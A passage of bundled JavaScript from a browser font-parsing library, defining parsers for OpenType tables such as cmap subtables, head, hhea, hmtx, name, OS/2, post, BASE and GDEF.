supports( charCode ) {
if ( charCode.charCodeAt ) {
charCode = -1;
console.warn(
`supports(character) not implemented for cmap subtable format 8. only supports(id) is implemented.`
);
}
return (
this.groups.findIndex(
( s ) =>
s.startcharCode <= charCode && charCode <= s.endcharCode
) !== -1
);
}
reverse( glyphID ) {
console.warn( `reverse not implemented for cmap subtable format 8` );
return {};
}
getSupportedCharCodes( preservePropNames = false ) {
if ( preservePropNames ) return this.groups;
return this.groups.map( ( v ) => ( {
start: v.startcharCode,
end: v.endcharCode,
} ) );
}
}
class SequentialMapGroup$1 {
constructor( p ) {
this.startcharCode = p.uint32;
this.endcharCode = p.uint32;
this.startGlyphID = p.uint32;
}
}
class Format10 extends Subtable {
constructor( p, platformID, encodingID ) {
super( p, platformID, encodingID );
this.format = 10;
p.uint16;
this.length = p.uint32;
this.language = p.uint32;
this.startCharCode = p.uint32;
this.numChars = p.uint32;
this.endCharCode = this.startCharCode + this.numChars;
const getter = () =>
[ ...new Array( this.numChars ) ].map( ( _ ) => p.uint16 );
lazy$1( this, `glyphs`, getter );
}
supports( charCode ) {
if ( charCode.charCodeAt ) {
charCode = -1;
console.warn(
`supports(character) not implemented for cmap subtable format 10. only supports(id) is implemented.`
);
}
if ( charCode < this.startCharCode ) return false;
if ( charCode > this.startCharCode + this.numChars ) return false;
return charCode - this.startCharCode;
}
reverse( glyphID ) {
console.warn( `reverse not implemented for cmap subtable format 10` );
return {};
}
getSupportedCharCodes( preservePropNames = false ) {
if ( preservePropNames ) {
return [
{
startCharCode: this.startCharCode,
endCharCode: this.endCharCode,
},
];
}
return [ { start: this.startCharCode, end: this.endCharCode } ];
}
}
class Format12 extends Subtable {
constructor( p, platformID, encodingID ) {
super( p, platformID, encodingID );
this.format = 12;
p.uint16;
this.length = p.uint32;
this.language = p.uint32;
this.numGroups = p.uint32;
const getter = () =>
[ ...new Array( this.numGroups ) ].map(
( _ ) => new SequentialMapGroup( p )
);
lazy$1( this, `groups`, getter );
}
supports( charCode ) {
if ( charCode.charCodeAt ) charCode = charCode.charCodeAt( 0 );
if ( 55296 <= charCode && charCode <= 57343 ) return 0;
if ( ( charCode & 65534 ) === 65534 || ( charCode & 65535 ) === 65535 )
return 0;
return (
this.groups.findIndex(
( s ) =>
s.startCharCode <= charCode && charCode <= s.endCharCode
) !== -1
);
}
reverse( glyphID ) {
for ( let group of this.groups ) {
let start = group.startGlyphID;
if ( start > glyphID ) continue;
if ( start === glyphID ) return group.startCharCode;
let end = start + ( group.endCharCode - group.startCharCode );
if ( end < glyphID ) continue;
const code = group.startCharCode + ( glyphID - start );
return { code: code, unicode: String.fromCodePoint( code ) };
}
return {};
}
getSupportedCharCodes( preservePropNames = false ) {
if ( preservePropNames ) return this.groups;
return this.groups.map( ( v ) => ( {
start: v.startCharCode,
end: v.endCharCode,
} ) );
}
}
class SequentialMapGroup {
constructor( p ) {
this.startCharCode = p.uint32;
this.endCharCode = p.uint32;
this.startGlyphID = p.uint32;
}
}
class Format13 extends Subtable {
constructor( p, platformID, encodingID ) {
super( p, platformID, encodingID );
this.format = 13;
p.uint16;
this.length = p.uint32;
this.language = p.uint32;
this.numGroups = p.uint32;
const getter = [ ...new Array( this.numGroups ) ].map(
( _ ) => new ConstantMapGroup( p )
);
lazy$1( this, `groups`, getter );
}
supports( charCode ) {
if ( charCode.charCodeAt ) charCode = charCode.charCodeAt( 0 );
return (
this.groups.findIndex(
( s ) =>
s.startCharCode <= charCode && charCode <= s.endCharCode
) !== -1
);
}
reverse( glyphID ) {
console.warn( `reverse not implemented for cmap subtable format 13` );
return {};
}
getSupportedCharCodes( preservePropNames = false ) {
if ( preservePropNames ) return this.groups;
return this.groups.map( ( v ) => ( {
start: v.startCharCode,
end: v.endCharCode,
} ) );
}
}
class ConstantMapGroup {
constructor( p ) {
this.startCharCode = p.uint32;
this.endCharCode = p.uint32;
this.glyphID = p.uint32;
}
}
class Format14 extends Subtable {
constructor( p, platformID, encodingID ) {
super( p, platformID, encodingID );
this.subTableStart = p.currentPosition;
this.format = 14;
this.length = p.uint32;
this.numVarSelectorRecords = p.uint32;
lazy$1( this, `varSelectors`, () =>
[ ...new Array( this.numVarSelectorRecords ) ].map(
( _ ) => new VariationSelector( p )
)
);
}
supports() {
console.warn( `supports not implemented for cmap subtable format 14` );
return 0;
}
getSupportedCharCodes() {
console.warn(
`getSupportedCharCodes not implemented for cmap subtable format 14`
);
return [];
}
reverse( glyphID ) {
console.warn( `reverse not implemented for cmap subtable format 14` );
return {};
}
supportsVariation( variation ) {
let v = this.varSelector.find(
( uvs ) => uvs.varSelector === variation
);
return v ? v : false;
}
getSupportedVariations() {
return this.varSelectors.map( ( v ) => v.varSelector );
}
}
class VariationSelector {
constructor( p ) {
this.varSelector = p.uint24;
this.defaultUVSOffset = p.Offset32;
this.nonDefaultUVSOffset = p.Offset32;
}
}
function createSubTable( parser, platformID, encodingID ) {
const format = parser.uint16;
if ( format === 0 ) return new Format0( parser, platformID, encodingID );
if ( format === 2 ) return new Format2( parser, platformID, encodingID );
if ( format === 4 ) return new Format4( parser, platformID, encodingID );
if ( format === 6 ) return new Format6( parser, platformID, encodingID );
if ( format === 8 ) return new Format8( parser, platformID, encodingID );
if ( format === 10 ) return new Format10( parser, platformID, encodingID );
if ( format === 12 ) return new Format12( parser, platformID, encodingID );
if ( format === 13 ) return new Format13( parser, platformID, encodingID );
if ( format === 14 ) return new Format14( parser, platformID, encodingID );
return {};
}
class cmap extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.numTables = p.uint16;
this.encodingRecords = [ ...new Array( this.numTables ) ].map(
( _ ) => new EncodingRecord( p, this.tableStart )
);
}
getSubTable( tableID ) {
return this.encodingRecords[ tableID ].table;
}
getSupportedEncodings() {
return this.encodingRecords.map( ( r ) => ( {
platformID: r.platformID,
encodingId: r.encodingID,
} ) );
}
getSupportedCharCodes( platformID, encodingID ) {
const recordID = this.encodingRecords.findIndex(
( r ) => r.platformID === platformID && r.encodingID === encodingID
);
if ( recordID === -1 ) return false;
const subtable = this.getSubTable( recordID );
return subtable.getSupportedCharCodes();
}
reverse( glyphid ) {
for ( let i = 0; i < this.numTables; i++ ) {
let code = this.getSubTable( i ).reverse( glyphid );
if ( code ) return code;
}
}
getGlyphId( char ) {
let last = 0;
this.encodingRecords.some( ( _, tableID ) => {
let t = this.getSubTable( tableID );
if ( ! t.getGlyphId ) return false;
last = t.getGlyphId( char );
return last !== 0;
} );
return last;
}
supports( char ) {
return this.encodingRecords.some( ( _, tableID ) => {
const t = this.getSubTable( tableID );
return t.supports && t.supports( char ) !== false;
} );
}
supportsVariation( variation ) {
return this.encodingRecords.some( ( _, tableID ) => {
const t = this.getSubTable( tableID );
return (
t.supportsVariation &&
t.supportsVariation( variation ) !== false
);
} );
}
}
class EncodingRecord {
constructor( p, tableStart ) {
const platformID = ( this.platformID = p.uint16 );
const encodingID = ( this.encodingID = p.uint16 );
const offset = ( this.offset = p.Offset32 );
lazy$1( this, `table`, () => {
p.currentPosition = tableStart + offset;
return createSubTable( p, platformID, encodingID );
} );
}
}
var cmap$1 = Object.freeze( { __proto__: null, cmap: cmap } );
class head extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.load( {
majorVersion: p.uint16,
minorVersion: p.uint16,
fontRevision: p.fixed,
checkSumAdjustment: p.uint32,
magicNumber: p.uint32,
flags: p.flags( 16 ),
unitsPerEm: p.uint16,
created: p.longdatetime,
modified: p.longdatetime,
xMin: p.int16,
yMin: p.int16,
xMax: p.int16,
yMax: p.int16,
macStyle: p.flags( 16 ),
lowestRecPPEM: p.uint16,
fontDirectionHint: p.uint16,
indexToLocFormat: p.uint16,
glyphDataFormat: p.uint16,
} );
}
}
var head$1 = Object.freeze( { __proto__: null, head: head } );
class hhea extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.ascender = p.fword;
this.descender = p.fword;
this.lineGap = p.fword;
this.advanceWidthMax = p.ufword;
this.minLeftSideBearing = p.fword;
this.minRightSideBearing = p.fword;
this.xMaxExtent = p.fword;
this.caretSlopeRise = p.int16;
this.caretSlopeRun = p.int16;
this.caretOffset = p.int16;
p.int16;
p.int16;
p.int16;
p.int16;
this.metricDataFormat = p.int16;
this.numberOfHMetrics = p.uint16;
p.verifyLength();
}
}
var hhea$1 = Object.freeze( { __proto__: null, hhea: hhea } );
class hmtx extends SimpleTable {
constructor( dict, dataview, tables ) {
const { p: p } = super( dict, dataview );
const numberOfHMetrics = tables.hhea.numberOfHMetrics;
const numGlyphs = tables.maxp.numGlyphs;
const metricsStart = p.currentPosition;
lazy$1( this, `hMetrics`, () => {
p.currentPosition = metricsStart;
return [ ...new Array( numberOfHMetrics ) ].map(
( _ ) => new LongHorMetric( p.uint16, p.int16 )
);
} );
if ( numberOfHMetrics < numGlyphs ) {
const lsbStart = metricsStart + numberOfHMetrics * 4;
lazy$1( this, `leftSideBearings`, () => {
p.currentPosition = lsbStart;
return [ ...new Array( numGlyphs - numberOfHMetrics ) ].map(
( _ ) => p.int16
);
} );
}
}
}
class LongHorMetric {
constructor( w, b ) {
this.advanceWidth = w;
this.lsb = b;
}
}
var hmtx$1 = Object.freeze( { __proto__: null, hmtx: hmtx } );
class maxp extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.legacyFixed;
this.numGlyphs = p.uint16;
if ( this.version === 1 ) {
this.maxPoints = p.uint16;
this.maxContours = p.uint16;
this.maxCompositePoints = p.uint16;
this.maxCompositeContours = p.uint16;
this.maxZones = p.uint16;
this.maxTwilightPoints = p.uint16;
this.maxStorage = p.uint16;
this.maxFunctionDefs = p.uint16;
this.maxInstructionDefs = p.uint16;
this.maxStackElements = p.uint16;
this.maxSizeOfInstructions = p.uint16;
this.maxComponentElements = p.uint16;
this.maxComponentDepth = p.uint16;
}
p.verifyLength();
}
}
var maxp$1 = Object.freeze( { __proto__: null, maxp: maxp } );
class lib_font_browser_name extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.format = p.uint16;
this.count = p.uint16;
this.stringOffset = p.Offset16;
this.nameRecords = [ ...new Array( this.count ) ].map(
( _ ) => new NameRecord( p, this )
);
if ( this.format === 1 ) {
this.langTagCount = p.uint16;
this.langTagRecords = [ ...new Array( this.langTagCount ) ].map(
( _ ) => new LangTagRecord( p.uint16, p.Offset16 )
);
}
this.stringStart = this.tableStart + this.stringOffset;
}
get( nameID ) {
let record = this.nameRecords.find(
( record ) => record.nameID === nameID
);
if ( record ) return record.string;
}
}
class LangTagRecord {
constructor( length, offset ) {
this.length = length;
this.offset = offset;
}
}
class NameRecord {
constructor( p, nameTable ) {
this.platformID = p.uint16;
this.encodingID = p.uint16;
this.languageID = p.uint16;
this.nameID = p.uint16;
this.length = p.uint16;
this.offset = p.Offset16;
lazy$1( this, `string`, () => {
p.currentPosition = nameTable.stringStart + this.offset;
return decodeString( p, this );
} );
}
}
function decodeString( p, record ) {
const { platformID: platformID, length: length } = record;
if ( length === 0 ) return ``;
if ( platformID === 0 || platformID === 3 ) {
const str = [];
for ( let i = 0, e = length / 2; i < e; i++ )
str[ i ] = String.fromCharCode( p.uint16 );
return str.join( `` );
}
const bytes = p.readBytes( length );
const str = [];
bytes.forEach( function ( b, i ) {
str[ i ] = String.fromCharCode( b );
} );
return str.join( `` );
}
var name$1 = Object.freeze( { __proto__: null, name: lib_font_browser_name } );
class OS2 extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.xAvgCharWidth = p.int16;
this.usWeightClass = p.uint16;
this.usWidthClass = p.uint16;
this.fsType = p.uint16;
this.ySubscriptXSize = p.int16;
this.ySubscriptYSize = p.int16;
this.ySubscriptXOffset = p.int16;
this.ySubscriptYOffset = p.int16;
this.ySuperscriptXSize = p.int16;
this.ySuperscriptYSize = p.int16;
this.ySuperscriptXOffset = p.int16;
this.ySuperscriptYOffset = p.int16;
this.yStrikeoutSize = p.int16;
this.yStrikeoutPosition = p.int16;
this.sFamilyClass = p.int16;
this.panose = [ ...new Array( 10 ) ].map( ( _ ) => p.uint8 );
this.ulUnicodeRange1 = p.flags( 32 );
this.ulUnicodeRange2 = p.flags( 32 );
this.ulUnicodeRange3 = p.flags( 32 );
this.ulUnicodeRange4 = p.flags( 32 );
this.achVendID = p.tag;
this.fsSelection = p.uint16;
this.usFirstCharIndex = p.uint16;
this.usLastCharIndex = p.uint16;
this.sTypoAscender = p.int16;
this.sTypoDescender = p.int16;
this.sTypoLineGap = p.int16;
this.usWinAscent = p.uint16;
this.usWinDescent = p.uint16;
if ( this.version === 0 ) return p.verifyLength();
this.ulCodePageRange1 = p.flags( 32 );
this.ulCodePageRange2 = p.flags( 32 );
if ( this.version === 1 ) return p.verifyLength();
this.sxHeight = p.int16;
this.sCapHeight = p.int16;
this.usDefaultChar = p.uint16;
this.usBreakChar = p.uint16;
this.usMaxContext = p.uint16;
if ( this.version <= 4 ) return p.verifyLength();
this.usLowerOpticalPointSize = p.uint16;
this.usUpperOpticalPointSize = p.uint16;
if ( this.version === 5 ) return p.verifyLength();
}
}
var OS2$1 = Object.freeze( { __proto__: null, OS2: OS2 } );
class post extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.legacyFixed;
this.italicAngle = p.fixed;
this.underlinePosition = p.fword;
this.underlineThickness = p.fword;
this.isFixedPitch = p.uint32;
this.minMemType42 = p.uint32;
this.maxMemType42 = p.uint32;
this.minMemType1 = p.uint32;
this.maxMemType1 = p.uint32;
if ( this.version === 1 || this.version === 3 ) return p.verifyLength();
this.numGlyphs = p.uint16;
if ( this.version === 2 ) {
this.glyphNameIndex = [ ...new Array( this.numGlyphs ) ].map(
( _ ) => p.uint16
);
this.namesOffset = p.currentPosition;
this.glyphNameOffsets = [ 1 ];
for ( let i = 0; i < this.numGlyphs; i++ ) {
let index = this.glyphNameIndex[ i ];
if ( index < macStrings.length ) {
this.glyphNameOffsets.push( this.glyphNameOffsets[ i ] );
continue;
}
let bytelength = p.int8;
p.skip( bytelength );
this.glyphNameOffsets.push(
this.glyphNameOffsets[ i ] + bytelength + 1
);
}
}
if ( this.version === 2.5 ) {
this.offset = [ ...new Array( this.numGlyphs ) ].map(
( _ ) => p.int8
);
}
}
getGlyphName( glyphid ) {
if ( this.version !== 2 ) {
console.warn(
`post table version ${ this.version } does not support glyph name lookups`
);
return ``;
}
let index = this.glyphNameIndex[ glyphid ];
if ( index < 258 ) return macStrings[ index ];
let offset = this.glyphNameOffsets[ glyphid ];
let next = this.glyphNameOffsets[ glyphid + 1 ];
let len = next - offset - 1;
if ( len === 0 ) return `.notdef.`;
this.parser.currentPosition = this.namesOffset + offset;
const data = this.parser.readBytes(
len,
this.namesOffset + offset,
8,
true
);
return data.map( ( b ) => String.fromCharCode( b ) ).join( `` );
}
}
const macStrings = [
`.notdef`,
`.null`,
`nonmarkingreturn`,
`space`,
`exclam`,
`quotedbl`,
`numbersign`,
`dollar`,
`percent`,
`ampersand`,
`quotesingle`,
`parenleft`,
`parenright`,
`asterisk`,
`plus`,
`comma`,
`hyphen`,
`period`,
`slash`,
`zero`,
`one`,
`two`,
`three`,
`four`,
`five`,
`six`,
`seven`,
`eight`,
`nine`,
`colon`,
`semicolon`,
`less`,
`equal`,
`greater`,
`question`,
`at`,
`A`,
`B`,
`C`,
`D`,
`E`,
`F`,
`G`,
`H`,
`I`,
`J`,
`K`,
`L`,
`M`,
`N`,
`O`,
`P`,
`Q`,
`R`,
`S`,
`T`,
`U`,
`V`,
`W`,
`X`,
`Y`,
`Z`,
`bracketleft`,
`backslash`,
`bracketright`,
`asciicircum`,
`underscore`,
`grave`,
`a`,
`b`,
`c`,
`d`,
`e`,
`f`,
`g`,
`h`,
`i`,
`j`,
`k`,
`l`,
`m`,
`n`,
`o`,
`p`,
`q`,
`r`,
`s`,
`t`,
`u`,
`v`,
`w`,
`x`,
`y`,
`z`,
`braceleft`,
`bar`,
`braceright`,
`asciitilde`,
`Adieresis`,
`Aring`,
`Ccedilla`,
`Eacute`,
`Ntilde`,
`Odieresis`,
`Udieresis`,
`aacute`,
`agrave`,
`acircumflex`,
`adieresis`,
`atilde`,
`aring`,
`ccedilla`,
`eacute`,
`egrave`,
`ecircumflex`,
`edieresis`,
`iacute`,
`igrave`,
`icircumflex`,
`idieresis`,
`ntilde`,
`oacute`,
`ograve`,
`ocircumflex`,
`odieresis`,
`otilde`,
`uacute`,
`ugrave`,
`ucircumflex`,
`udieresis`,
`dagger`,
`degree`,
`cent`,
`sterling`,
`section`,
`bullet`,
`paragraph`,
`germandbls`,
`registered`,
`copyright`,
`trademark`,
`acute`,
`dieresis`,
`notequal`,
`AE`,
`Oslash`,
`infinity`,
`plusminus`,
`lessequal`,
`greaterequal`,
`yen`,
`mu`,
`partialdiff`,
`summation`,
`product`,
`pi`,
`integral`,
`ordfeminine`,
`ordmasculine`,
`Omega`,
`ae`,
`oslash`,
`questiondown`,
`exclamdown`,
`logicalnot`,
`radical`,
`florin`,
`approxequal`,
`Delta`,
`guillemotleft`,
`guillemotright`,
`ellipsis`,
`nonbreakingspace`,
`Agrave`,
`Atilde`,
`Otilde`,
`OE`,
`oe`,
`endash`,
`emdash`,
`quotedblleft`,
`quotedblright`,
`quoteleft`,
`quoteright`,
`divide`,
`lozenge`,
`ydieresis`,
`Ydieresis`,
`fraction`,
`currency`,
`guilsinglleft`,
`guilsinglright`,
`fi`,
`fl`,
`daggerdbl`,
`periodcentered`,
`quotesinglbase`,
`quotedblbase`,
`perthousand`,
`Acircumflex`,
`Ecircumflex`,
`Aacute`,
`Edieresis`,
`Egrave`,
`Iacute`,
`Icircumflex`,
`Idieresis`,
`Igrave`,
`Oacute`,
`Ocircumflex`,
`apple`,
`Ograve`,
`Uacute`,
`Ucircumflex`,
`Ugrave`,
`dotlessi`,
`circumflex`,
`tilde`,
`macron`,
`breve`,
`dotaccent`,
`ring`,
`cedilla`,
`hungarumlaut`,
`ogonek`,
`caron`,
`Lslash`,
`lslash`,
`Scaron`,
`scaron`,
`Zcaron`,
`zcaron`,
`brokenbar`,
`Eth`,
`eth`,
`Yacute`,
`yacute`,
`Thorn`,
`thorn`,
`minus`,
`multiply`,
`onesuperior`,
`twosuperior`,
`threesuperior`,
`onehalf`,
`onequarter`,
`threequarters`,
`franc`,
`Gbreve`,
`gbreve`,
`Idotaccent`,
`Scedilla`,
`scedilla`,
`Cacute`,
`cacute`,
`Ccaron`,
`ccaron`,
`dcroat`,
];
var post$1 = Object.freeze( { __proto__: null, post: post } );
class BASE extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.horizAxisOffset = p.Offset16;
this.vertAxisOffset = p.Offset16;
lazy$1(
this,
`horizAxis`,
() =>
new AxisTable(
{ offset: dict.offset + this.horizAxisOffset },
dataview
)
);
lazy$1(
this,
`vertAxis`,
() =>
new AxisTable(
{ offset: dict.offset + this.vertAxisOffset },
dataview
)
);
if ( this.majorVersion === 1 && this.minorVersion === 1 ) {
this.itemVarStoreOffset = p.Offset32;
lazy$1(
this,
`itemVarStore`,
() =>
new AxisTable(
{ offset: dict.offset + this.itemVarStoreOffset },
dataview
)
);
}
}
}
class AxisTable extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview, `AxisTable` );
this.baseTagListOffset = p.Offset16;
this.baseScriptListOffset = p.Offset16;
lazy$1(
this,
`baseTagList`,
() =>
new BaseTagListTable(
{ offset: dict.offset + this.baseTagListOffset },
dataview
)
);
lazy$1(
this,
`baseScriptList`,
() =>
new BaseScriptListTable(
{ offset: dict.offset + this.baseScriptListOffset },
dataview
)
);
}
}
class BaseTagListTable extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview, `BaseTagListTable` );
this.baseTagCount = p.uint16;
this.baselineTags = [ ...new Array( this.baseTagCount ) ].map(
( _ ) => p.tag
);
}
}
class BaseScriptListTable extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview, `BaseScriptListTable` );
this.baseScriptCount = p.uint16;
const recordStart = p.currentPosition;
lazy$1( this, `baseScriptRecords`, () => {
p.currentPosition = recordStart;
return [ ...new Array( this.baseScriptCount ) ].map(
( _ ) => new BaseScriptRecord( this.start, p )
);
} );
}
}
class BaseScriptRecord {
constructor( baseScriptListTableStart, p ) {
this.baseScriptTag = p.tag;
this.baseScriptOffset = p.Offset16;
lazy$1( this, `baseScriptTable`, () => {
p.currentPosition =
baseScriptListTableStart + this.baseScriptOffset;
return new BaseScriptTable( p );
} );
}
}
class BaseScriptTable {
constructor( p ) {
this.start = p.currentPosition;
this.baseValuesOffset = p.Offset16;
this.defaultMinMaxOffset = p.Offset16;
this.baseLangSysCount = p.uint16;
this.baseLangSysRecords = [ ...new Array( this.baseLangSysCount ) ].map(
( _ ) => new BaseLangSysRecord( this.start, p )
);
lazy$1( this, `baseValues`, () => {
p.currentPosition = this.start + this.baseValuesOffset;
return new BaseValuesTable( p );
} );
lazy$1( this, `defaultMinMax`, () => {
p.currentPosition = this.start + this.defaultMinMaxOffset;
return new MinMaxTable( p );
} );
}
}
class BaseLangSysRecord {
constructor( baseScriptTableStart, p ) {
this.baseLangSysTag = p.tag;
this.minMaxOffset = p.Offset16;
lazy$1( this, `minMax`, () => {
p.currentPosition = baseScriptTableStart + this.minMaxOffset;
return new MinMaxTable( p );
} );
}
}
class BaseValuesTable {
constructor( p ) {
this.parser = p;
this.start = p.currentPosition;
this.defaultBaselineIndex = p.uint16;
this.baseCoordCount = p.uint16;
this.baseCoords = [ ...new Array( this.baseCoordCount ) ].map(
( _ ) => p.Offset16
);
}
getTable( id ) {
this.parser.currentPosition = this.start + this.baseCoords[ id ];
return new BaseCoordTable( this.parser );
}
}
class MinMaxTable {
constructor( p ) {
this.minCoord = p.Offset16;
this.maxCoord = p.Offset16;
this.featMinMaxCount = p.uint16;
const recordStart = p.currentPosition;
lazy$1( this, `featMinMaxRecords`, () => {
p.currentPosition = recordStart;
return [ ...new Array( this.featMinMaxCount ) ].map(
( _ ) => new FeatMinMaxRecord( p )
);
} );
}
}
class FeatMinMaxRecord {
constructor( p ) {
this.featureTableTag = p.tag;
this.minCoord = p.Offset16;
this.maxCoord = p.Offset16;
}
}
class BaseCoordTable {
constructor( p ) {
this.baseCoordFormat = p.uint16;
this.coordinate = p.int16;
if ( this.baseCoordFormat === 2 ) {
this.referenceGlyph = p.uint16;
this.baseCoordPoint = p.uint16;
}
if ( this.baseCoordFormat === 3 ) {
this.deviceTable = p.Offset16;
}
}
}
var BASE$1 = Object.freeze( { __proto__: null, BASE: BASE } );
class ClassDefinition {
constructor( p ) {
this.classFormat = p.uint16;
if ( this.classFormat === 1 ) {
this.startGlyphID = p.uint16;
this.glyphCount = p.uint16;
this.classValueArray = [ ...new Array( this.glyphCount ) ].map(
( _ ) => p.uint16
);
}
if ( this.classFormat === 2 ) {
this.classRangeCount = p.uint16;
this.classRangeRecords = [
...new Array( this.classRangeCount ),
].map( ( _ ) => new ClassRangeRecord( p ) );
}
}
}
class ClassRangeRecord {
constructor( p ) {
this.startGlyphID = p.uint16;
this.endGlyphID = p.uint16;
this.class = p.uint16;
}
}
class CoverageTable extends ParsedData {
constructor( p ) {
super( p );
this.coverageFormat = p.uint16;
if ( this.coverageFormat === 1 ) {
this.glyphCount = p.uint16;
this.glyphArray = [ ...new Array( this.glyphCount ) ].map(
( _ ) => p.uint16
);
}
if ( this.coverageFormat === 2 ) {
this.rangeCount = p.uint16;
this.rangeRecords = [ ...new Array( this.rangeCount ) ].map(
( _ ) => new CoverageRangeRecord( p )
);
}
}
}
class CoverageRangeRecord {
constructor( p ) {
this.startGlyphID = p.uint16;
this.endGlyphID = p.uint16;
this.startCoverageIndex = p.uint16;
}
}
class ItemVariationStoreTable {
constructor( table, p ) {
this.table = table;
this.parser = p;
this.start = p.currentPosition;
this.format = p.uint16;
this.variationRegionListOffset = p.Offset32;
this.itemVariationDataCount = p.uint16;
this.itemVariationDataOffsets = [
...new Array( this.itemVariationDataCount ),
].map( ( _ ) => p.Offset32 );
}
}
class GDEF extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.glyphClassDefOffset = p.Offset16;
lazy$1( this, `glyphClassDefs`, () => {
if ( this.glyphClassDefOffset === 0 ) return undefined;
p.currentPosition = this.tableStart + this.glyphClassDefOffset;
return new ClassDefinition( p );
} );
this.attachListOffset = p.Offset16;
lazy$1( this, `attachList`, () => {
if ( this.attachListOffset === 0 ) return undefined;
p.currentPosition = this.tableStart + this.attachListOffset;
return new AttachList( p );
} );
this.ligCaretListOffset = p.Offset16;
lazy$1( this, `ligCaretList`, () => {
if ( this.ligCaretListOffset === 0 ) return undefined;
p.currentPosition = this.tableStart + this.ligCaretListOffset;
return new LigCaretList( p );
} );
this.markAttachClassDefOffset = p.Offset16;
lazy$1( this, `markAttachClassDef`, () => {
if ( this.markAttachClassDefOffset === 0 ) return undefined;
p.currentPosition = this.tableStart + this.markAttachClassDefOffset;
return new ClassDefinition( p );
} );
if ( this.minorVersion >= 2 ) {
this.markGlyphSetsDefOffset = p.Offset16;
lazy$1( this, `markGlyphSetsDef`, () => {
if ( this.markGlyphSetsDefOffset === 0 ) return undefined;
p.currentPosition =
this.tableStart + this.markGlyphSetsDefOffset;
return new MarkGlyphSetsTable( p );
} );
}
if ( this.minorVersion === 3 ) {
this.itemVarStoreOffset = p.Offset32;
lazy$1( this, `itemVarStore`, () => {
if ( this.itemVarStoreOffset === 0 ) return undefined;
p.currentPosition = this.tableStart + this.itemVarStoreOffset;
return new ItemVariationStoreTable( p );
} );
}
}
}
class AttachList extends ParsedData {
constructor( p ) {
super( p );
this.coverageOffset = p.Offset16;
this.glyphCount = p.uint16;
this.attachPointOffsets = [ ...new Array( this.glyphCount ) ].map(
( _ ) => p.Offset16
);
}
getPoint( pointID ) {
this.parser.currentPosition =
this.start + this.attachPointOffsets[ pointID ];
return new AttachPoint( this.parser );
}
}
class AttachPoint {
constructor( p ) {
this.pointCount = p.uint16;
this.pointIndices = [ ...new Array( this.pointCount ) ].map(
( _ ) => p.uint16
);
}
}
class LigCaretList extends ParsedData {
constructor( p ) {
super( p );
this.coverageOffset = p.Offset16;
lazy$1( this, `coverage`, () => {
p.currentPosition = this.start + this.coverageOffset;
return new CoverageTable( p );
} );
this.ligGlyphCount = p.uint16;
this.ligGlyphOffsets = [ ...new Array( this.ligGlyphCount ) ].map(
( _ ) => p.Offset16
);
}
getLigGlyph( ligGlyphID ) {
this.parser.currentPosition =
this.start + this.ligGlyphOffsets[ ligGlyphID ];
return new LigGlyph( this.parser );
}
}
class LigGlyph extends ParsedData {
constructor( p ) {
super( p );
this.caretCount = p.uint16;
this.caretValueOffsets = [ ...new Array( this.caretCount ) ].map(
( _ ) => p.Offset16
);
}
getCaretValue( caretID ) {
this.parser.currentPosition =
this.start + this.caretValueOffsets[ caretID ];
return new CaretValue( this.parser );
}
}
class CaretValue {
constructor( p ) {
this.caretValueFormat = p.uint16;
if ( this.caretValueFormat === 1 ) {
this.coordinate = p.int16;
}
if ( this.caretValueFormat === 2 ) {
this.caretValuePointIndex = p.uint16;
}
if ( this.caretValueFormat === 3 ) {
this.coordinate = p.int16;
this.deviceOffset = p.Offset16;
}
}
}
class MarkGlyphSetsTable extends ParsedData {
constructor( p ) {
super( p );
this.markGlyphSetTableFormat = p.uint16;
this.markGlyphSetCount = p.uint16;
this.coverageOffsets = [ ...new Array( this.markGlyphSetCount ) ].map(
( _ ) => p.Offset32
);
}
getMarkGlyphSet( markGlyphSetID ) {
this.parser.currentPosition =
this.start + this.coverageOffsets[ markGlyphSetID ];
return new CoverageTable( this.parser );
}
}
var GDEF$1 = Object.freeze( { __proto__: null, GDEF: GDEF } );
class ScriptList extends ParsedData {
static EMPTY = { scriptCount: 0, scriptRecords: [] };
constructor( p ) {
super( p );
this.scriptCount = p.uint16;
this.scriptRecords = [ ...new Array( this.scriptCount ) ].map(
( _ ) => new ScriptRecord( p )
);
}
}
class ScriptRecord {
constructor( p ) {
this.scriptTag = p.tag;
this.scriptOffset = p.Offset16;
}
}
class ScriptTable extends ParsedData {
constructor( p ) {
super( p );
this.defaultLangSys = p.Offset16;
this.langSysCount = p.uint16;
this.langSysRecords = [ ...new Array( this.langSysCount ) ].map(
( _ ) => new LangSysRecord( p )
);
}
}
class LangSysRecord {
constructor( p ) {
this.langSysTag = p.tag;
this.langSysOffset = p.Offset16;
}
}
class LangSysTable {
constructor( p ) {
this.lookupOrder = p.Offset16;
this.requiredFeatureIndex = p.uint16;
this.featureIndexCount = p.uint16;
this.featureIndices = [ ...new Array( this.featureIndexCount ) ].map(
( _ ) => p.uint16
);
}
}
class FeatureList extends ParsedData {
static EMPTY = { featureCount: 0, featureRecords: [] };
constructor( p ) {
super( p );
this.featureCount = p.uint16;
this.featureRecords = [ ...new Array( this.featureCount ) ].map(
( _ ) => new FeatureRecord( p )
);
}
}
class FeatureRecord {
constructor( p ) {
this.featureTag = p.tag;
this.featureOffset = p.Offset16;
}
}
class FeatureTable extends ParsedData {
constructor( p ) {
super( p );
this.featureParams = p.Offset16;
this.lookupIndexCount = p.uint16;
this.lookupListIndices = [ ...new Array( this.lookupIndexCount ) ].map(
( _ ) => p.uint16
);
}
getFeatureParams() {
if ( this.featureParams > 0 ) {
const p = this.parser;
p.currentPosition = this.start + this.featureParams;
